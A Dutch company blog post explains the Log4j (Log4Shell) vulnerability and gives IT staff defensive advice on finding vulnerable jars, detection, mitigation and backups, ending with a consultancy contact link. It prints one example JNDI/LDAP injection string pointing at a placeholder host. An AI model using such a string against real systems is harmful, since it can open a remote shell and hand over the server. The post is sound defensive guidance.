Blog: Wat is Log4j en hoe werkt het?

Geschreven door Melroy Bouwes

Heel veel platformen, applicaties, diensten en sites gebruiken de Java module Log4j om logging weg te schrijven. Maar als er een Java opdracht wordt gelogd, zal Java deze interpreteren als een commando en voert deze uit.
En nu blijkt hoe makkelijk het is een commando te laten loggen en dus uit te laten voeren door iedereen. Dit kan door in een spel met chat functie het commando in de chatbox te sturen. Maar ook door bijvoorbeeld het commando in een webformulier te zetten. Als het commando maar door de Log4j module wordt gelogd zal Java dit uitvoeren.

Het commando ${jndi:ldap://voorbeeld.com/vaneenurl} is wat nu heel erg veel over internet gaat. Deze kan een reverse shell starten waarbij het systeem volledig overgenomen wordt. Van daaruit kunnen er weer andere kwetsbaarheden gebruikt worden om een volledige infrastructuur over te nemen.

Wat is de uitdaging voor IT?
Kwetsbaarheden zijn de normaalste dingen waar ITers zich dagelijks mee bezig houden. Vaak wordt er een kwetsbaarheid gevonden en gepubliceerd. Dan zal de applicatie even geupdate moeten worden en we kunnen weer verder. De uitdaging met Log4j is dat we helemaal niet weten waar deze module allemaal in gebruikt wordt. Het is dus een heel uitzoek werk waarbij alles, wat aan de IT infra aangesloten zit, onderzocht moet worden.

Ben ik nu kwetsbaar?
Ga er maar vanuit van wel. De impact wordt vooral bepaald of er kwetsbare systemen “internet-facing” zijn, oftewel of ze benaderbaar zijn vanaf het internet. Dit kan ook de Firewall, Loadbalancer, Web Application Firewall zijn, tot aan de server die de dienst host. Andere systemen kunnen alleen van binnenuit gecompromitteerd worden. Het is nu vooral belangrijk inzicht te krijgen in welke systemen nu kwetsbaar zijn en deze kwetsbaarheid te mitigeren.

Hoe vind ik kwetsbare systemen?
Zoek naar bestanden op alle systemen genaamd log4j*.jar, hiermee kan je al snel bepalen of deze module gebruikt wordt. Als de versie lager is dan 2.16.0, dan zit hier de kwetsbaarheid in.
Op deze site (https://github.com/NCSC-NL/log4shell/blob/main/software/README.md) staat een lijst met hardware/software waarvan de status of deze kwetsbaar is wordt bijgehouden.
Hier (https://github.com/NCSC-NL/log4shell/tree/main/scanning) vind je een lijst met tools die systemen kunnen scannen

Zijn mijn systemen al gecompromitteerd?
Dit is heel lastig te bepalen, en ligt vooral aan of men al geschikte Hardware en Software gebruikt die dit kunnen detecteren. Denk hierbij aan de Firewalls, Proxies, SIEM, Endpoint protection. Zoek voor deze systemen op hoe je ze het beste kan inzetten, zoals beschreven op deze site (https://github.com/NCSC-NL/log4shell/tree/main/mitigation). Heb je het vermoeden dat er een systeem gecompromitteerd is, haal deze dan z.s.m. offline.

Hoe bescherm ik mijzelf?
Ook hiervoor geldt dat elk bedrijf waarschijnlijk al een oplossing heeft staan die gebruikt kan worden.
Soms kan het inzetten van zo’n systeem maar een paar minuten duren.
Zo heeft ResultaatGroep o.a. bij klanten hun FortiGate geupdate met de laatste FortiGuard rules en op de Firewall rules de juiste IPS-profielen gezet.
Maar ook geholpen bij kleine aanpassingen in een Nginx reverse proxy om deze aanval te voorkomen.
Zorg ervoor dat de belangrijkste data in ieder geval op een backup staat (liefst van voor 1 december) en zorg dat deze ook offline opgeslagen wordt. Mocht er later toch iets fout gaan dan kan men daar altijd nog op terugvallen.

Thuiswerkers via VPN
Er zijn natuurlijk veel thuiswerkers, die op verschillende manieren en met verschillende apparatuur verbinding maken met bedrijfsnetwerk. Vaak ook met lokaal geïnstalleerde bedrijfssoftware die direct verbinden met de backend. VPN-configuraties zullen altijd verschillen. Maar ook hier is er kans op de kwetsbaarheid. Monitor daarom VPN-verkeer, en controleer ook deze systemen.

En dan de Cloud?
Systemen en/of diensten in de cloud zegt niks over hoe kwetsbaar je bent. Het kan zeker ook misgaan in de cloud, maar de cloud kan je ook erg helpen bij detectie en mitigatie. Zie bijvoorbeeld dit stuk van Microsoft (https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/)

Dit is te technisch of te veel voor ons
Dat is heel begrijpelijk. De impact van het scannen, detecteren en mitigeren zal enorm zijn op veel organisaties. Dit is tijdrovend en vereist specifieke kennis. Mocht u daar niet uitkomen en behoefte hebben aan ondersteuning of advies, informeer dan zeker bij ons voor de mogelijkheden: https://resultaatgroep.nl/contact/